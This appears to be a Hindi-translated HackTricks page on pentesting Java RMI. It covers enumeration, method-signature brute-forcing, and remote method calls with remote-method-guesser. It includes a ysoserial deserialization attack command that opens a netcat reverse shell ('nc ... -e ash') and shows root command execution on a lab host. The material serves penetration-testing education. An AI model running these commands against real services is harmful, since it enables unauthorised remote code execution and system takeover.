mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
297 lines
23 KiB
Markdown
297 lines
23 KiB
Markdown
# 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
## Basic Information
|
|
|
|
_Java Remote Method Invocation_, या _Java RMI_, एक ऑब्जेक्ट ओरिएंटेड _RPC_ तंत्र है जो एक _Java वर्चुअल मशीन_ में स्थित ऑब्जेक्ट को दूसरे _Java वर्चुअल मशीन_ में स्थित ऑब्जेक्ट पर मेथड कॉल करने की अनुमति देता है। यह डेवलपर्स को ऑब्जेक्ट-ओरिएंटेड पैरेडाइम का उपयोग करके वितरित एप्लिकेशन लिखने में सक्षम बनाता है। एक आक्रामक दृष्टिकोण से _Java RMI_ का संक्षिप्त परिचय [इस ब्लैकहैट टॉक](https://youtu.be/t_aw1mDNhzI?t=202) में पाया जा सकता है।
|
|
|
|
**डिफ़ॉल्ट पोर्ट:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
|
|
```
|
|
PORT STATE SERVICE VERSION
|
|
1090/tcp open ssl/java-rmi Java RMI
|
|
9010/tcp open java-rmi Java RMI
|
|
37471/tcp open java-rmi Java RMI
|
|
40259/tcp open ssl/java-rmi Java RMI
|
|
```
|
|
आमतौर पर, केवल डिफ़ॉल्ट _Java RMI_ घटक (_RMI Registry_ और _Activation System_) सामान्य पोर्ट पर बंधे होते हैं। _remote objects_ जो वास्तविक _RMI_ एप्लिकेशन को लागू करते हैं, आमतौर पर यादृच्छिक पोर्ट पर बंधे होते हैं जैसा कि ऊपर दिए गए आउटपुट में दिखाया गया है।
|
|
|
|
_nmap_ कभी-कभी _SSL_ सुरक्षित _RMI_ सेवाओं की पहचान करने में समस्याएँ होती हैं। यदि आप एक सामान्य _RMI_ पोर्ट पर एक अज्ञात ssl सेवा का सामना करते हैं, तो आपको आगे जांच करनी चाहिए।
|
|
|
|
## RMI Components
|
|
|
|
सरल शब्दों में, _Java RMI_ एक डेवलपर को नेटवर्क पर एक _Java object_ उपलब्ध कराने की अनुमति देता है। यह एक _TCP_ पोर्ट खोलता है जहाँ ग्राहक कनेक्ट कर सकते हैं और संबंधित ऑब्जेक्ट पर विधियों को कॉल कर सकते हैं। हालांकि यह सरल लगता है, _Java RMI_ को कई चुनौतियों का सामना करना पड़ता है:
|
|
|
|
1. _Java RMI_ के माध्यम से एक विधि कॉल को भेजने के लिए, ग्राहकों को IP पता, सुनने वाला पोर्ट, लागू की गई क्लास या इंटरफेस और लक्षित ऑब्जेक्ट का `ObjID` जानना आवश्यक है ( `ObjID` एक अद्वितीय और यादृच्छिक पहचानकर्ता है जो तब बनाया जाता है जब ऑब्जेक्ट नेटवर्क पर उपलब्ध कराया जाता है। यह आवश्यक है क्योंकि _Java RMI_ कई ऑब्जेक्ट्स को एक ही _TCP_ पोर्ट पर सुनने की अनुमति देता है)।
|
|
2. दूरस्थ ग्राहक सर्वर पर संसाधनों को आवंटित कर सकते हैं जब वे प्रदर्शित ऑब्जेक्ट पर विधियों को कॉल करते हैं। _Java virtual machine_ को यह ट्रैक करना होगा कि इनमें से कौन से संसाधन अभी भी उपयोग में हैं और इनमें से कौन से कचरे के रूप में एकत्र किए जा सकते हैं।
|
|
|
|
पहली चुनौती का समाधान _RMI registry_ द्वारा किया जाता है, जो मूल रूप से _Java RMI_ के लिए एक नामकरण सेवा है। _RMI registry_ स्वयं भी एक _RMI service_ है, लेकिन लागू की गई इंटरफेस और `ObjID` निश्चित और सभी _RMI_ ग्राहकों द्वारा ज्ञात होते हैं। यह _RMI_ ग्राहकों को केवल संबंधित _TCP_ पोर्ट को जानकर _RMI_ रजिस्ट्री का उपभोग करने की अनुमति देता है।
|
|
|
|
जब डेवलपर्स अपने _Java objects_ को नेटवर्क के भीतर उपलब्ध कराना चाहते हैं, तो वे आमतौर पर उन्हें एक _RMI registry_ से बांधते हैं। _registry_ ऑब्जेक्ट से कनेक्ट करने के लिए आवश्यक सभी जानकारी (IP पता, सुनने वाला पोर्ट, लागू की गई क्लास या इंटरफेस और `ObjID` मान) संग्रहीत करता है और इसे एक मानव-पठनीय नाम ( _bound name_ ) के तहत उपलब्ध कराता है। ग्राहक जो _RMI service_ का उपभोग करना चाहते हैं, वे संबंधित _bound name_ के लिए _RMI registry_ से पूछते हैं और रजिस्ट्री कनेक्ट करने के लिए सभी आवश्यक जानकारी लौटाती है। इस प्रकार, स्थिति मूल रूप से एक सामान्य _DNS_ सेवा के समान होती है। निम्नलिखित सूची एक छोटा उदाहरण दिखाती है:
|
|
```java
|
|
import java.rmi.registry.Registry;
|
|
import java.rmi.registry.LocateRegistry;
|
|
import lab.example.rmi.interfaces.RemoteService;
|
|
|
|
public class ExampleClient {
|
|
|
|
private static final String remoteHost = "172.17.0.2";
|
|
private static final String boundName = "remote-service";
|
|
|
|
public static void main(String[] args)
|
|
{
|
|
try {
|
|
Registry registry = LocateRegistry.getRegistry(remoteHost); // Connect to the RMI registry
|
|
RemoteService ref = (RemoteService)registry.lookup(boundName); // Lookup the desired bound name
|
|
String response = ref.remoteMethod(); // Call a remote method
|
|
|
|
} catch( Exception e) {
|
|
e.printStackTrace();
|
|
}
|
|
}
|
|
}
|
|
```
|
|
उपरोक्त उल्लेखित चुनौतियों में से दूसरी को _Distributed Garbage Collector_ (_DGC_) द्वारा हल किया गया है। यह एक और _RMI सेवा_ है जिसमें एक ज्ञात `ObjID` मान है और यह मूल रूप से प्रत्येक _RMI endpoint_ पर उपलब्ध है। जब एक _RMI client_ एक _RMI सेवा_ का उपयोग करना शुरू करता है, तो यह _DGC_ को जानकारी भेजता है कि संबंधित _remote object_ का उपयोग किया जा रहा है। _DGC_ फिर संदर्भ गणना को ट्रैक कर सकता है और अप्रयुक्त वस्तुओं को साफ करने में सक्षम है।
|
|
|
|
पुराने _Activation System_ के साथ, ये _Java RMI_ के तीन डिफ़ॉल्ट घटक हैं:
|
|
|
|
1. _RMI Registry_ (`ObjID = 0`)
|
|
2. _Activation System_ (`ObjID = 1`)
|
|
3. _Distributed Garbage Collector_ (`ObjID = 2`)
|
|
|
|
_Java RMI_ के डिफ़ॉल्ट घटक कुछ समय से ज्ञात हमले के वेक्टर रहे हैं और पुराने _Java_ संस्करणों में कई कमजोरियाँ मौजूद हैं। एक हमलावर के दृष्टिकोण से, ये डिफ़ॉल्ट घटक दिलचस्प हैं, क्योंकि उन्होंने ज्ञात वर्गों / इंटरफेस को लागू किया है और इनके साथ बातचीत करना आसान है। यह स्थिति कस्टम _RMI सेवाओं_ के लिए अलग है। एक _remote object_ पर एक विधि को कॉल करने के लिए, आपको पहले से संबंधित विधि हस्ताक्षर को जानना होगा। एक मौजूदा विधि हस्ताक्षर को जाने बिना, _RMI सेवा_ के साथ संवाद करने का कोई तरीका नहीं है।
|
|
|
|
## RMI Enumeration
|
|
|
|
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) एक _Java RMI_ कमजोरियों का स्कैनर है जो सामान्य _RMI vulnerabilities_ की पहचान करने में सक्षम है। जब भी आप एक _RMI_ endpoint की पहचान करते हैं, तो आपको इसे आजमाना चाहिए:
|
|
```
|
|
$ rmg enum 172.17.0.2 9010
|
|
[+] RMI registry bound names:
|
|
[+]
|
|
[+] - plain-server2
|
|
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
|
|
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
|
|
[+] - legacy-service
|
|
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
|
|
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
|
|
[+] - plain-server
|
|
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
|
|
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
|
|
[+]
|
|
[+] RMI server codebase enumeration:
|
|
[+]
|
|
[+] - [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/)
|
|
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
|
|
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
|
|
[+]
|
|
[+] RMI server String unmarshalling enumeration:
|
|
[+]
|
|
[+] - Caught ClassNotFoundException during lookup call.
|
|
[+] --> The type java.lang.String is unmarshalled via readObject().
|
|
[+] Configuration Status: Outdated
|
|
[+]
|
|
[+] RMI server useCodebaseOnly enumeration:
|
|
[+]
|
|
[+] - Caught MalformedURLException during lookup call.
|
|
[+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
|
|
[+] Configuration Status: Non Default
|
|
[+]
|
|
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
|
|
[+]
|
|
[+] - Caught NotBoundException during unbind call (unbind was accepeted).
|
|
[+] Vulnerability Status: Vulnerable
|
|
[+]
|
|
[+] RMI Security Manager enumeration:
|
|
[+]
|
|
[+] - Security Manager rejected access to the class loader.
|
|
[+] --> The server does use a Security Manager.
|
|
[+] Configuration Status: Current Default
|
|
[+]
|
|
[+] RMI server JEP290 enumeration:
|
|
[+]
|
|
[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
|
|
[+] Vulnerability Status: Non Vulnerable
|
|
[+]
|
|
[+] RMI registry JEP290 bypass enmeration:
|
|
[+]
|
|
[+] - Caught IllegalArgumentException after sending An Trinh gadget.
|
|
[+] Vulnerability Status: Vulnerable
|
|
[+]
|
|
[+] RMI ActivationSystem enumeration:
|
|
[+]
|
|
[+] - Caught IllegalArgumentException during activate call (activator is present).
|
|
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
|
|
[+] --> Client codebase enabled - Configuration Status: Non Default
|
|
```
|
|
गणना क्रिया का आउटपुट परियोजना के [दस्तावेज़ पृष्ठों](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) में अधिक विस्तार से समझाया गया है। परिणाम के आधार पर, आपको पहचानी गई कमजोरियों की पुष्टि करने का प्रयास करना चाहिए।
|
|
|
|
_remote-method-guesser_ द्वारा प्रदर्शित `ObjID` मानों का उपयोग सेवा के अपटाइम को निर्धारित करने के लिए किया जा सकता है। यह अन्य कमजोरियों की पहचान करने की अनुमति दे सकता है:
|
|
```
|
|
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
|
|
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
|
|
[+]
|
|
[+] ObjNum: -4004948013687638236
|
|
[+] UID:
|
|
[+] Unique: 1442798173
|
|
[+] Time: 1640761503828 (Dec 29,2021 08:05)
|
|
[+] Count: -32760
|
|
```
|
|
## Bruteforcing Remote Methods
|
|
|
|
यहां तक कि जब enumeration के दौरान कोई कमजोरियां नहीं पाई गई हैं, उपलब्ध _RMI_ सेवाएं अभी भी खतरनाक कार्यों को उजागर कर सकती हैं। इसके अलावा, हालांकि _RMI_ संचार _RMI_ डिफ़ॉल्ट घटकों के लिए deserialization फ़िल्टर द्वारा सुरक्षित है, कस्टम _RMI_ सेवाओं के साथ बात करते समय, ऐसे फ़िल्टर आमतौर पर मौजूद नहीं होते हैं। इसलिए, _RMI_ सेवाओं पर मान्य विधि हस्ताक्षरों को जानना मूल्यवान है।
|
|
|
|
दुर्भाग्यवश, _Java RMI_ दूरस्थ वस्तुओं पर विधियों को सूचीबद्ध करने का समर्थन नहीं करता है। यह कहा जा सकता है कि विधि हस्ताक्षरों को [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) या [rmiscout](https://github.com/BishopFox/rmiscout) जैसे उपकरणों के साथ ब्रूटफोर्स करना संभव है:
|
|
```
|
|
$ rmg guess 172.17.0.2 9010
|
|
[+] Reading method candidates from internal wordlist rmg.txt
|
|
[+] 752 methods were successfully parsed.
|
|
[+] Reading method candidates from internal wordlist rmiscout.txt
|
|
[+] 2550 methods were successfully parsed.
|
|
[+]
|
|
[+] Starting Method Guessing on 3281 method signature(s).
|
|
[+]
|
|
[+] MethodGuesser is running:
|
|
[+] --------------------------------
|
|
[+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists!
|
|
[+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
|
|
[+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
|
|
[+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
|
|
[+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
|
|
[+] [6562 / 6562] [#####################################] 100%
|
|
[+] done.
|
|
[+]
|
|
[+] Listing successfully guessed methods:
|
|
[+]
|
|
[+] - plain-server2 == plain-server
|
|
[+] --> String execute(String dummy)
|
|
[+] --> String system(String dummy, String[] dummy2)
|
|
[+] - legacy-service
|
|
[+] --> void logMessage(int dummy1, String dummy2)
|
|
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
|
|
[+] --> String login(java.util.HashMap dummy1)
|
|
```
|
|
पहचाने गए तरीके इस प्रकार बुलाए जा सकते हैं:
|
|
```
|
|
$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
|
|
[+] uid=0(root) gid=0(root) groups=0(root)
|
|
```
|
|
या आप इस तरह से डीसिरियलाइजेशन हमले कर सकते हैं:
|
|
```
|
|
$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
|
|
[+] Creating ysoserial payload... done.
|
|
[+]
|
|
[+] Attempting deserialization attack on RMI endpoint...
|
|
[+]
|
|
[+] Using non primitive argument type java.lang.String on position 0
|
|
[+] Specified method signature is String execute(String dummy)
|
|
[+]
|
|
[+] Caught ClassNotFoundException during deserialization attack.
|
|
[+] Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
|
|
[+] Deserialization attack probably worked :)
|
|
|
|
$ nc -vlp 4444
|
|
Ncat: Version 7.92 ( https://nmap.org/ncat )
|
|
Ncat: Listening on :::4444
|
|
Ncat: Listening on 0.0.0.0:4444
|
|
Ncat: Connection from 172.17.0.2.
|
|
Ncat: Connection from 172.17.0.2:45479.
|
|
id
|
|
uid=0(root) gid=0(root) groups=0(root)
|
|
```
|
|
इन लेखों में अधिक जानकारी मिल सकती है:
|
|
|
|
- [Attacking Java RMI services after JEP 290](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)
|
|
- [Method Guessing](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md)
|
|
- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
|
- [rmiscout](https://bishopfox.com/blog/rmiscout)
|
|
|
|
अनुमान लगाने के अलावा, आपको खोज इंजनों या _GitHub_ पर उस _RMI_ सेवा के इंटरफेस या यहां तक कि कार्यान्वयन की तलाश करनी चाहिए। _bound name_ और कार्यान्वित वर्ग या इंटरफेस का नाम यहां सहायक हो सकता है।
|
|
|
|
## ज्ञात इंटरफेस
|
|
|
|
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) उन वर्गों या इंटरफेस को `known` के रूप में चिह्नित करता है यदि वे उपकरण के ज्ञात _RMI सेवाओं_ के आंतरिक डेटाबेस में सूचीबद्ध हैं। इन मामलों में, आप संबंधित _RMI सेवा_ के बारे में अधिक जानकारी प्राप्त करने के लिए `known` क्रिया का उपयोग कर सकते हैं:
|
|
```
|
|
$ rmg enum 172.17.0.2 1090 | head -n 5
|
|
[+] RMI registry bound names:
|
|
[+]
|
|
[+] - jmxrmi
|
|
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
|
|
[+] Endpoint: localhost:41695 TLS: no ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]
|
|
|
|
$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
|
|
[+] Name:
|
|
[+] JMX Server
|
|
[+]
|
|
[+] Class Name:
|
|
[+] - javax.management.remote.rmi.RMIServerImpl_Stub
|
|
[+] - javax.management.remote.rmi.RMIServer
|
|
[+]
|
|
[+] Description:
|
|
[+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
|
|
[+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
|
|
[+] method usually passing a HashMap that contains connection options (e.g. credentials). The return
|
|
[+] value (RMIConnection object) is another remote object that is when used to perform JMX related
|
|
[+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
|
|
[+]
|
|
[+] Remote Methods:
|
|
[+] - String getVersion()
|
|
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
|
|
[+]
|
|
[+] References:
|
|
[+] - [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html)
|
|
[+] - [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi)
|
|
[+]
|
|
[+] Vulnerabilities:
|
|
[+]
|
|
[+] -----------------------------------
|
|
[+] Name:
|
|
[+] MLet
|
|
[+]
|
|
[+] Description:
|
|
[+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
|
|
[+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
|
|
[+] is therefore most of the time equivalent to remote code execution.
|
|
[+]
|
|
[+] References:
|
|
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
|
|
[+]
|
|
[+] -----------------------------------
|
|
[+] Name:
|
|
[+] Deserialization
|
|
[+]
|
|
[+] Description:
|
|
[+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
|
|
[+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
|
|
[+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
|
|
[+] establish a working JMX connection, you can also perform deserialization attacks.
|
|
[+]
|
|
[+] References:
|
|
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
|
|
```
|
|
## Shodan
|
|
|
|
- `port:1099 java`
|
|
|
|
## Tools
|
|
|
|
- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
|
- [rmiscout](https://github.com/BishopFox/rmiscout)
|
|
- [BaRMIe](https://github.com/NickstaDB/BaRMIe)
|
|
|
|
## References
|
|
|
|
- [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
|
|
|
## HackTricks Automatic Commands
|
|
```
|
|
Protocol_Name: Java RMI #Protocol Abbreviation if there is one.
|
|
Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one.
|
|
Protocol_Description: Java Remote Method Invocation #Protocol Abbreviation Spelled out
|
|
|
|
Entry_1:
|
|
Name: Enumeration
|
|
Description: Perform basic enumeration of an RMI service
|
|
Command: rmg enum {IP} {PORT}
|
|
```
|
|
{{#include ../banners/hacktricks-training.md}}
|